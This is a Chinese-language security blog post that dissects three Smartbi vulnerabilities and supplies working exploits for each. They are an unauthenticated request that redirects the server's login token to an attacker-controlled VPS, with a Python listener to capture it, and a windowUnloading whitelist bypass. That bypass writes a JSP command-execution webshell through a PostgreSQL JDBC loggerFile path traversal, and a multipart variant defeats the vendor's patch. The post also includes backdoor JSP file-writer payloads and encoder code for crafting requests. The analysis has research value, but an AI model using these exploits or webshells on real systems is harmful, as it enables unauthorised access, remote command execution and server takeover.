Smartbi近期漏洞系列详解

admin 2023年12月15日00:16:25评论58 views字数 21806阅读72分41秒阅读模式


免责声明:

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,小黑说安全及文章作者不为此承担任何责任。


0x01 前言

近期爆出的三个Smartbi产品的漏洞,其主要的漏洞产生原因都是因为没有对用户的访问做限制,或者是攻击者能够通过某些逻辑上的漏洞,绕过限制,对一些敏感的类,或是方法进行访问。

以下将对三个Smartbi中的漏洞进行分析,会首先给出POC,再根据POC给出分析过程和可利用的EXP。

0x02 漏洞分析与利用

1. /api/monitor/setEngineAddress 权限绕过漏洞

漏洞分析:

首先给出POC

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1Host: 127.0.0.1:18080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: FQConfigLogined=; FQPassword=; JSESSIONID=BEF47407273964E120DDB8C848EE877CUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: text/plainContent-Length: 3
123

向以上接口,以POST方式发送任意值,能够获得以下返回包,即可证明漏洞存在(需要注意的是,Content-Type需要设为text/plain,而非application/x-www-form-urlencoded):

Smartbi近期漏洞系列详解

该漏洞的主要成因,是Smartbi的设计者没有对用户访问以下路径做限制:

Smartbi近期漏洞系列详解

接下来开始分析。

首先,在smartbix.datamining.service.MonitorService.class类中,可以看到对于上述路径的具体操控:

Smartbi近期漏洞系列详解

当通过POST方式,传入任何参数的时候,在处理中会调用this.systemConfigService.updateSystemConfig()函数,将我们传入的任意参数作为engineAddress传入。

Smartbi近期漏洞系列详解

随后,该函数会将我们传入的参数存储后,更新为整个系统中的引擎地址(engineAddress)。

当我们访问engineInfo接口的时候,即可看到更新后的引擎地址,此时engineAddress已经被成功的更新为成了123

Smartbi近期漏洞系列详解

随后,我们访问token接口,即可完成对于该漏洞的利用。

具体可以在MonitorService.class类中找到对该接口的处理:

@FunctionPermission({"NOT_LOGIN_REQUIRED"})public void getToken(@RequestBody String type) throws Exception {        String token = this.catalogService.getToken(10800000L);        if (StringUtil.isNullOrEmpty(token)) {            throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");        } else if (!"SERVICE_NOT_STARTED".equals(token)) {            Map<String, String> result = new HashMap();            result.put("token", token);            if ("experiment".equals(type)) {                EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);            } else if ("service".equals(type)) {                EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});            }
} }

再这部分代码中,首先在开头注明了,/token路径,无需登录即可访问,这是漏洞能够触发的基础。

当进入程序块后,会通过

String token = this.catalogService.getToken(10800000L);

进行token获取。这里看一下调用链条中的一个可能会坑的判定条件:

Smartbi近期漏洞系列详解

这个a用于标识框架是否运行,如果在本地复现环境的时候,没有启动用户界面框架,会导致漏洞利用失败,此时,将a设置为true即可。

当通过上述方法获取到了token了之后,随即向下走:

Smartbi近期漏洞系列详解

我们需要调用的函数是在if中的EngineApi.postJsonEngine(),为了进入if,我们POST传入参数的时候,必须传入一个experiment

随后查看一下postJsonEngine()方法的具体调用逻辑:

Smartbi近期漏洞系列详解

可以看到这里,postJsonEngine方法首先会通过EngineUrl.getUrl()函数,获取一个url,随后通过HttpKit.postJson()函数,将token作为data的值,将它post过去。

这里详细看getUrl的调用链:

Smartbi近期漏洞系列详解

可以看到这里,获取了SystemConfigService中,键为ENGINE_ADDRESS的值。

这里也就是我们之前设置的EngineAddress的值,将其作为url返回。

接下来,当程序执行到HttpKit.postJson() 的时候,便会将token通过POST的方式,以JSON的格式发送到我们设置的url地址上。

因此我们只需发送以下request请求包,nc监听对应的端口,即可在个人vps上获取到token:

Smartbi近期漏洞系列详解

Smartbi近期漏洞系列详解

坑点解析:

理论上来说,只要我们带着这个token的值去访问loginByToken路径,就能够获取到可以登录的session值。

但是很不幸的是,这里的token是不能使用的,主要的问题出在这里:

当smartbi向我们的vps发送token的时候,POST请求最后的发送点在HttpKit.class#exe()方法中 :

Smartbi近期漏洞系列详解

可以发现,在第一个红框中,会获取smartbi发送请求后获得的响应值response,因此,我们的服务器端需要给出一个返回值。

在接下来的第二个红框中,会尝试将返回的response中的body部分,以json格式进行值的获取。这里告诉我们,vps返回的response必须是以json格式类型返回。

当上述解析成功之后,继续跟入,会来到EntityInsertAction.classafterTransactionCompletion()方法。

Smartbi近期漏洞系列详解

这里的ck,就是Smartbi发送到用户端的token值。

Smartbi近期漏洞系列详解

随后通过第二个红框中的persister.getCache().afterInsert()方法,将这个token存入对应的变量中,就是下面图片中的this.cache.update函数。

Smartbi近期漏洞系列详解

当我们对loginByToken()函数调用的时候,实际上就是调用这里存入的token值进行比对,如果比对成功即可登录。

因此,如果我们没有在vps中返回一个json格式的任意返回值,就不会调用到afterTransactionCompletion()方法,也就不能将token值存入变量,用于对比,自然也就登录失败了。

这里查看一下MonitorService.class类中,loginByToken()方法的调用链:

Smartbi近期漏洞系列详解

这里一路跟入,查看调用链:

Smartbi近期漏洞系列详解

可以发现,最后来到了AbstractDAO.class中的load()方法中。其中,第一个红框中的判断,当第一次访问的时候就是null,但是会在使用token访问后,留下缓存,如果上次访问出现问题,抛出异常,会返回一个null。

第一次访问时:

Smartbi近期漏洞系列详解

第二次访问时会查看上次的缓存,如果上次访问失败,或是出现异常,会返回一个null:

Smartbi近期漏洞系列详解

继续调用load方法,接下来会来到:

DefaultLoadEventListener.class#loadFromSecondLevelCache()方法。

Smartbi近期漏洞系列详解

可以看到这里ce的值,是通过persister.getCache().get(ck,source.getTimestamp())函数获得的,这里就是在把用户传入的token(也就是ck),与我们之前存入的ck值作比较。成功,ce的值就不会为null,也就是登录成功。

正确利用漏洞的方案:

经过以上分析,我们不难知道,我们需要在服务器上开启一个监听某个端口的简单服务,当接收到Smartbi发送的token值的时候,返回一个json格式的任意值的响应包,才能正常的使用token。

这里我使用Python3简单实现了一个服务:

imort jsonfrom http.server import BaseHTTPRequestHandler, HTTPServer
class JSONHandler(BaseHTTPRequestHandler): def _set_response(self, status_code=200, content_type='application/json'): self.send_response(status_code) self.send_header('Content-type', content_type) self.end_headers()
def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) json_data = json.loads(post_data)
print("Received JSON:", json_data) response_data = { "message": "JSON received and processed successfully" } response = json.dumps(response_data).encode('utf-8')
self._set_response() self.wfile.write(response)
def run(server_class=HTTPServer, handler_class=JSONHandler, port=2333): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f"Listening on port {port}") httpd.serve_forever()
if __name__ == '__main__': run()

当发送了token后,VPS上接收到:

Smartbi近期漏洞系列详解

接下来,向login路径,发送获取到的token值。

Smartbi近期漏洞系列详解

将返回的Cookie获取下来,带着访问,即可绕过登录。

Smartbi近期漏洞系列详解

2. /vision/RMIServlet?windowUnloading参数,逻辑漏洞

漏洞分析:

首先还是给出POC:

POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1Host: localhost:18080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: FQConfigLogined=; JSESSIONID=AA35FAB6507174C68D84297771E71345; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: text/plainContent-Length: 32
className=&methodName=&params=[]

发送了以上请求包后,能够从返回包中获取如下内容:

Smartbi近期漏洞系列详解

即可证明漏洞存在。

该漏洞的主要成因,是在于开发者在处理用户对/vision/RMIServlet这条路径的访问逻辑的时候,出现了逻辑错误。

接下来开始分析。

当用户访问/vision/RMIServlet这条路径的时候,会首先经过smartbi.freequery.filter.CheckIsLoggedFilter.class类,通过其中的doFilter()函数进行一个过滤。

Smartbi近期漏洞系列详解

这个函数的主要目的是,以正确的方式获取请求中传入的三个参数,分别是类名(className),方法名(methodName),参数(params)。

在这个函数里,开发者一共提供了三种方式来获取分别是:

1、当请求的路径中参数以windowUnloading开头时,

Smartbi近期漏洞系列详解

则通过url解码,然后调用一个解密函数来获取三个值。

2、如果不是以windowUnloading开头,则从请求体流中获取三个值:

Smartbi近期漏洞系列详解

3、如果不是上述两种情况,则从请求中获取三个值:

Smartbi近期漏洞系列详解

当获取了三个值后,通过解密函数RMICoder.decode(),随后将其赋值给className,methodName,params这三个变量:

Smartbi近期漏洞系列详解

随后一路正常跟进,来到这里的判定:

Smartbi近期漏洞系列详解

在这个FilterUtil.needToCheck()函数中,会检查一个包含类名和方法名的白名单,当满足白名单,即可返回false,继续下一部分判断:

Smartbi近期漏洞系列详解

这里我们通过windowUnloading参数传入的类是UserService类,方法是checkVersion()方法,在白名单中。

因此直接过了这部分的检测,继续下一部分的程序。

跟进到smartbi.framework.rmi.RMIServlet.class类中,因为我们使用的POST方式传参数,因此此时调用到doPost()方法:

Smartbi近期漏洞系列详解

在红框这部分的代码中,可以发现出现了一个很大的逻辑问题,这里的rmiInfo变量原本应该是我们通过windowUnloading参数传入的类名,方法名和参数值,但是这里通过RMIUtil.parseRMIInfo()函数,通过POST中的参数,重新给三个值赋了一次值。

Smartbi近期漏洞系列详解

这里是我随便传入的几个值。

随后,程序会步入到processExecute()函数中,这里看一下调用链:

Smartbi近期漏洞系列详解

可以发现,这里最后调用的this.e实际上是一个HashMap的名单,也就是在this.e中,查找上述获取的className是否存在。

Smartbi近期漏洞系列详解

只要获取到的className存在于this.e中,就可以继续接下来的程序。

Smartbi近期漏洞系列详解

使用将params以json格式进行解析,随后调用service.execute()方式,这里最后将会通过反射方式调用我们给出的类中的方法:

Smartbi近期漏洞系列详解

基于Smartbi中DataSourceService类的JDBC任意文件写入:

通过上述分析,我们可以知道,当使用windowUnloading进行绕过之后,我们实际上是可以调用this.e这个hashmap中的任意类的任意方法,同时传递任意参数的。

这里我首先给出可以使用的EXP,随后根据exp来对该漏洞的利用方式进行分析,其中会包含一些坑点,以及问题。

exp如下:

POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1Host: localhost:18080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: FQConfigLogined=; JSESSIONID=9F4B22AFDE785C86FB33687608795655; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/x-www-form-urlencodedContent-Length: 2525
className=DataSourceService&methodName=testConnectionList&params=%5b%5b%7b%22%70%61%73%73%77%6f%72%64%22%3a%22%22%2c%22%6d%61%78%43%6f%6e%6e%65%63%74%69%6f%6e%22%3a%31%30%30%2c%22%75%73%65%72%22%3a%22%22%2c%22%64%72%69%76%65%72%54%79%70%65%22%3a%22%50%4f%53%54%47%52%45%53%51%4c%22%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%22%3a%22%53%45%4c%45%43%54%20%31%22%2c%22%75%72%6c%22%3a%22%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%35%34%33%32%2f%74%65%73%74%3f%41%70%70%6c%69%63%61%74%69%6f%6e%4e%61%6d%65%3d%78%78%78%75%73%65%72%3d%74%65%73%74%26%70%61%73%73%77%6f%72%64%3d%74%65%73%74%26%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%44%45%42%55%47%26%6c%6f%67%67%65%72%46%69%6c%65%3d%2e%2e%2f%77%65%62%61%70%70%73%2f%73%6d%61%72%74%62%69%2f%76%69%73%69%6f%6e%2f%63%6d%64%73%68%65%6c%6c%2e%6a%73%70%26%3c%25%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%5c%22%7e%7e%7e%5c%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%53%74%72%69%6e%67%28%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%2e%74%6f%42%79%74%65%41%72%72%61%79%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%5c%22%63%6d%64%5c%22%29%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%29%3b%25%3e%22%2c%22%6e%61%6d%65%22%3a%22%74%65%73%74%22%2c%22%64%72%69%76%65%72%22%3a%22%6f%72%67%2e%70%6f%73%74%67%72%65%73%71%6c%2e%44%72%69%76%65%72%22%2c%22%69%64%22%3a%22%22%2c%22%64%65%73%63%22%3a%22%22%2c%22%61%6c%69%61%73%22%3a%22%22%2c%22%64%62%43%68%61%72%73%65%74%22%3a%22%22%2c%22%69%64%65%6e%74%69%66%69%65%72%51%75%6f%74%65%53%74%72%69%6e%67%22%3a%22%5c%22%22%2c%22%74%72%61%6e%73%61%63%74%69%6f%6e%49%73%6f%6c%61%74%69%6f%6e%22%3a%2d%31%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%4d%65%74%68%6f%64%22%3a%30%2c%22%64%62%54%6f%43%68%61%72%73%65%74%22%3a%22%22%2c%22%61%75%74%68%65%6e%74%69%63%61%74%69%6f%6e%54%79%70%65%22%3a%22%53%54%41%54%49%43%22%2c%22%64%72%69%76%65%72%43%61%74%61%6c%6f%67%22%3a%6e%75%6c%6c%2c%22%65%78%74%65%6e%64%50%72%6f%70%22%3a%22%7b%5c%22%6d%61%78%57%61%69%74%43%6f%6e%6e%65%63%74%69%6f%6e%54%69%6d%65%5c%22%3a%2d%31%2c%5c%22%61%6c%6c%6f%77%45%78%63%65%6c%49%6d%70%6f%72%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%61%70%70%6c%79%54%6f%53%6d%61%72%74%62%69%78%44%61%74%61%73%65%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%63%61%74%61%6c%6f%67%54%79%70%65%5c%22%3a%5c%22%50%72%6f%64%75%63%74%42%75%69%6c%74%49%6e%5c%22%7d%22%7d%5d%5d

接下来根据exp进行分析:

首先,这里的文件写入,主要是利用的jdbc存在一个可以在url中指定日志文件的特性。

不难看出,我们此时调用的是DataSourceService类中的testConnectionList()方法,同时,将我们传入的参数进行url解码后,可以得到如下结果。

[[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":""","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{"maxWaitConnectionTime":-1,"allowExcelImport":false,"applyToSmartbixDataset":false,"catalogType":"ProductBuiltIn"}"}]]

里关键的漏洞利用部分就是url对应的参数。

"url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>"

始跟一下调用链:

这里找到入口testConnectionList()函数,并给出一个调用栈。

Smartbi近期漏洞系列详解

Smartbi近期漏洞系列详解

这里最关键的写文件函数在org.postgresql.Driver.class#connect()中,这里让我们详细分析一下写文件的原理:

Smartbi近期漏洞系列详解

整个函数中,最关键的函数是这三个

Smartbi近期漏洞系列详解

parseURL()函数:

该函数会对我们传入的url进行解析,以获取其中的参数。具体的解析参数的逻辑如下:

Smartbi近期漏洞系列详解

parseURL()函数会以&作为分割,将url中的参数分割为数个字符串。

随后,依次遍历所有被分割出来的字符串,通过pos = token.indexOf(61);检测字符串中是否存在=号。

当存在=,也就是pos不为-1时,就会以=为标识对字符串做分割,将其作为一个键值对,对值进行url解码,随后存入对应的变量中。如果没有等号,就将整个字符串作为键,值设为""

这里的url解码需要注意一下,会涉及到后面的一个坑点

当这段函数循环处理了我们的url之后,可以得到如下的一个数组:

Smartbi近期漏洞系列详解

此时可以发现,我们指定的日志文件路径和日志文件名,已经被作为loggerFile键对应的值被解析出来了。

this.setupLoggerFromProperties()函数:

这个函数用于处理日志文件,跟入其中之后,可以看到它对于我们上述参数的处理

Smartbi近期漏洞系列详解

首先在第一个红框中,是在读取loggerLevel,也就是日志文件等级,这里如我们之前设置的一样,是DEBUG,这里不能设置为OFF,否则会失败。

随后在第二个红框中,可以看到它读取了我们设置的文件路径,因为这里没有做任何文件路径的限制,所以可以通过../从当前路径退出,让我们将文件写入到我们想要的地方。

LOGGER.log()函数:

这个函数的作用很简单,就是将我们传入的url写入到日志文件中,而这个日志文件,也就是我们之前设定好的路径下的cmdShell.jsp文件。

而这个时候,我们的恶意代码就会作为url的一部分,被嵌入到我们设定好的日志文件中去。

这里让我们看一下本地生成的文件:

Smartbi近期漏洞系列详解

可以看到,这里我们成功的在一大串报错中嵌入成功了一段jsp代码,当我们访问这个文件的时候,即可达成jsp代码的执行,而剩余的报错,只会被以文本的方式进行解读。

以此,我们即可实现依托于Runtime类的exec命令执行。

坑点解析:

虽然我们现在已经可以实现命令执行了,但是只是使用Runtime类进行的最简陋的命令执行效果。

但当我们尝试使用同样的方法进行更复杂的文件写入,例如希望尝试写入一串哥斯拉的jsp马,或是更复杂的命令执行的时候,我们会遇到一些小小的坑点。

这里让我们回过头来看我们写入的代码和parseURL()函数中的url解析逻辑:

Smartbi近期漏洞系列详解

假设我们想要通过url写入一串同时带有=%的jsp代码如下:

ApplicationName=xxxuser=test&hhh=<% String test = new String()%>

时,我们不难发现,根据parseURL()函数的解析规则,这段URL中的参数会被&分割为两个字符串:

ApplicationName :xxxuser=test
hhh : <% String test = new String()%>

随后再对这两个字符串依次进行处理。也就是以等号为分割,将它转换为一个键值对。

此时,对于第二个字符串来说,键名是hhh,而值则是我们构造的jsp代码。

这个时候就出现问题了,在之前提过,当进行值的存储的时候,会将值首先进行依次URL解码。此时,程序就会将<% String这里的%误认为是某个url编码的值的标识符,但是它无法进行解析,于是会抛出错误。

当然,可能会有人希望通过编码的方式来进行绕过,但是这样也是不可行的。

当我们将上述的jsp程序url编码为以下字符串的时候:

%3c%25%3c%25%20%53%74%72%69%6e%67%20%74%65%73%74%20%3d%20%6e%65%77%20%53%74%72%69%6e%67%28%29%25%3e%20%53%74%72%69%6e%67%20%74%65%73%74%20%3d%20%6e%65%77%20%53%74%72%69%6e%67%28%29%25%3e

他确实可以进行绕过,但是当我们访问最后的jsp文件的时候会发现,上述的url编码被原样写入到文件中了:

Smartbi近期漏洞系列详解

也就导致我们无法正确运行程序。

正确利用漏洞的方案:

因此,这里最好的利用方式,还是创建一个可以写入文件的简单的后门马,随后利用这个后门马,在我们想要的地方写入我们需要的纯净的程序。

例如:

<%out.println("success");new java.io.FileOutputStream(request.getParameter("filename")).write(request.getParameter("content").getBytes()); %>

又或者是简单的使用命令执行的效果

<%out.println("&&&&");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));out.println("&&&&")%>

3. /vision/RMIServlet?windowUnloading参数,Multipart逻辑漏洞

漏洞分析:

这里直接给出EXP:

POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1Host: localhost:18080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 1189Content-Type: multipart/form-data;charset=UTF-8;boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwAAccept-Encoding: gzip, deflateConnection: close
------WebKitFormBoundaryrGKCBY7qhFd3TrwAContent-Disposition: form-data; name="className"
DataSourceService------WebKitFormBoundaryrGKCBY7qhFd3TrwAContent-Disposition: form-data; name="methodName"
testConnectionList------WebKitFormBoundaryrGKCBY7qhFd3TrwAContent-Disposition: form-data; name="params"
[[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/0DFCC1b8f1Db599F.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":""","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{"maxWaitConnectionTime":-1,"allowExcelImport":false,"applyToSmartbixDataset":false,"catalogType":"ProductBuiltIn"}"}]]------WebKitFormBoundaryrGKCBY7qhFd3TrwA

在在上面的windowUnloading参数绕过漏洞出现之后,官方随即通过补丁进行了修复:

public int patch(HttpServletRequest request, HttpServletResponse response, FilterChain chain) {        return this.assertQueryString(request);    }
private int assertQueryString(HttpServletRequest request) { String query = request.getQueryString(); if (StringUtil.isNullOrEmpty(query)) { return 0; } else if (!query.startsWith("windowUnloading")) { return 0; } else if (!query.startsWith("windowUnloading=&") && !query.startsWith("windowUnloading&")) { return 1; } else { String paramClassName = request.getParameter("className"); String paramMethodName = request.getParameter("methodName"); if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) { try { String content = ""; String windowUnloadingStr = query.length() > "windowUnloading".length() && query.charAt("windowUnloading".length()) == '=' ? "windowUnloading=&" : "windowUnloading&"; if (query.length() > windowUnloadingStr.length()) { content = query.substring(windowUnloadingStr.length()); if (content.endsWith("=")) { content = content.substring(0, content.length() - 1); }
content = URLDecoder.decode(content, "UTF-8"); }
String urlClassName = ""; String urlMethodName = ""; if (content.indexOf("className=") == -1 && content.indexOf("methodName=") == -1) { String[] decode = RMICoder.decode(content); urlClassName = decode[0]; urlMethodName = decode[1]; } else { Map<String, String> map = HttpUtil.parseQueryString(content); urlClassName = (String)map.get("className"); urlMethodName = (String)map.get("methodName"); }
if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) { return 0; } else { return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1; } } catch (Exception var10) { return 0; } } else { return 0; } }

可以看到函数中,对于上面的windowUnloading绕过的防御方式是这样的:

if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) {     return 0;} else {    return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1; }

首先判断,至少通过url中的windowUnloading参数或者是post等请求方式传递了类名和方法名。

随后,判断windowUnloading和post等请求方式中的类名和方法名是否相同,相同返回0,也就表示继续执行dofilter,如果不相同,则返回1,表示程序结束。

其中,paramClassName,paramMethodName两个值是通过request.getParameter()函数获取的。

String paramClassName = request.getParameter("className");String paramMethodName = request.getParameter("methodName");if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {

理论上来说,确实可以防住,但是实际上存在问题。

实际上request.getParameter()这个函数,只能够用于获取get,post请求方法发送的值,但是如果我们尝试通过Multipart方式进行传参,则只会获得一个null值。

也就是说,如果我们通过Multipart方式进行传参,会直接无法通过这段if判断。

if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName))

导致下面的一系列检查直接失效,直接返回代表继续的0。

也就是说,我们现在windowUnloading方式传入的类和方法以及参数,与我们使用Multipart方式传入的类、方法、参数是不一样的。

当绕过了白名单判定后,在解析过程中,就会重新读取我们请求体中给出的参数。

Smartbi近期漏洞系列详解

也就是说,这里我们最后还是可以调用到DataSourceService类,完成日志文件的写入。

Smartbi近期漏洞系列详解

恶意利用方式和之前没有任何区别。

0x03 扩展:

实际上这里应该还有更多的恶意利用方式,根据之前的不同的Smartbi漏洞来看,一般来说主要能够进行利用的就是DataSourceService这个类,以及checkUserVersion这个类。

前者的主要利用方式可以有JNDI注入,可以直接加载一个恶意类,或者是恶意字节码,完成代码级别的命令执行,也可以直接通过我上述的漏洞利用方式,通过写文件来进行getshell,或者,因为在这个类中存在一个sql语句的控制,实际上也可以通过控制这个sql语句来进行sql注入,通过mysql来进行提权。

如果是利用到checkUserVersion这个类,大部分时候是用于对cookie进行窃取,然后达成登录绕过的效果。

在这里的利用中,我一般会通过加密的方式进行,这里是调用的他自身的加密解密类,虽然看起来是让他能够不容易被分析,但是实际上也产生了一定的流量加密的效果。

这里我整理了一下加密函数和解密函数,用于更方便的进行类的调用:

加密函数

import java.io.UnsupportedEncodingException;
class Encryption { private static byte[] encodeArray = new byte[256];
static { for (int i = 0; i < encodeArray.length; i++) { encodeArray[i] = (byte) i; } }
public static void main(String[] args) { encode test = new encode(); String input = "UserService+checkVersion+%5B%222023-03-31%2018%3A56%3A53%22%5D"; byte[] encodedData = test.encode(input); String encodedString = test.byteArrayToStrByUTF8(encodedData); System.out.println(encodedString); }}
class encode { private static byte[] encodeArray = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37, 113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0, 0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65, 33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102, 0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79, 101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0};
public byte[] encode(String dataStr) { byte[] data = strToByteArrayByUTF8(dataStr); for (int i = 0; i < data.length; i++) { byte tmp = data[i]; for (int j = 0; j < encodeArray.length; j++) { if (encodeArray[j] == tmp) { data[i] = (byte) j; break; } } } return data; }
public byte[] strToByteArrayByUTF8(String dataStr) { try { return dataStr.getBytes("UTF-8"); } catch (UnsupportedEncodingException var2) { throw new RuntimeException(var2); } }
public String byteArrayToStrByUTF8(byte[] dataByte) { try { return new String(dataByte, "UTF-8"); } catch (UnsupportedEncodingException var2) { throw new RuntimeException(var2); } }}

解密函数

import smartbi.SmartbiException;import smartbi.util.CommonErrorCode;
import java.io.UnsupportedEncodingException;
class Decryption { public static void main(String[] args) { decode test = new decode(); String a, data3; byte[] data, data2; a = "zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu7uNf7NfN1/u71'/NOJM/NOJN/uu/JT"; data = test.strToByteArrayByUTF8(a); data2 = test.decode(data); data3 = test.byteArrayToStrByUTF8(data2); System.out.println(data3); // 输出解密后的数据 }}
